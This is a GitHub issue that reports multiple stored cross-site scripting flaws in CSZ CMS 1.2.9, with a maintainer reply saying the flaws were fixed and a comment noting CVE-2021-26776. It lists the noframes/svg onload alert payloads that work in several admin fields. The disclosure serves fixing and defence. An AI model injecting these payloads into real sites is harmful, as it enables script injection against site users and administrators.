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Multiple Stored XSS Cross-Site Scripting on CSZ CMS 1.2.9 #29

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Tadjmen opened this issue Feb 2, 2021 · 2 comments
Closed

Multiple Stored XSS Cross-Site Scripting on CSZ CMS 1.2.9 #29

Tadjmen opened this issue Feb 2, 2021 · 2 comments

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@Tadjmen
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Tadjmen commented Feb 2, 2021

Multiple Stored XSS Cross-Site Scripting on CSZ CMS 1.2.9

Login with editor account with rights to Forms Builder, XML Plugin Widgets, Statistic for link, Banner Manager, Carousel Widget, Pages Content, Language, Plugin Manager.

Forms Builder
	- Add or edit Forms Builder:
	Forms Name: <noframes><p title="</noframes><svg/onload=alert(document.domain)>">

POC
image

XML Plugin Widgets
	- Add or edit Widgets:
	Widget Name: <noframes><p title="</noframes><svg/onload=alert(document.domain)>">

POC
image

Statistic for link
	- Add New Link:
	URL: <noframes><p title="</noframes><svg/onload=alert(document.domain)>">```

POC
image

Banner Manager
	- Add New Banner :
	Banner Name: <noframes><p title="</noframes><svg/onload=alert(1)>">

POC
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Carousel Widget
	- Add new Carousel: 
	Carousel Name: <noframes><p title="</noframes><svg/onload=alert('xss')>">

POC
image

Pages Content
	- Add or edit Pages Content:
	Pages Name: Abouts Us&lt;noframes&gt;&lt;p title=&quot;&lt;/noframes&gt;&lt;svg/onload=alert&amp;#40;document.domain&amp;#41;&gt;&quot;&gt;

POC
image

Language
	- Add new Language: 
	Language Name: <noframes><p title="</noframes><svg/onload=alert('xss')>">

POC
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Plugin Manager
	- Add new Category(/admin/plugin/article/category): 
	Category Name: <noframes><p title="</noframes><svg/onload=alert&#40;document.domain&#41;>">

POC
image

@OS-WS
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OS-WS commented Apr 26, 2021

This issue was assigned with CVE-2021-26776
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26776
was it ever addressed?

@cskaza
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cskaza commented Nov 10, 2021

Resolved done on next version.

@cskaza cskaza closed this as completed Nov 10, 2021
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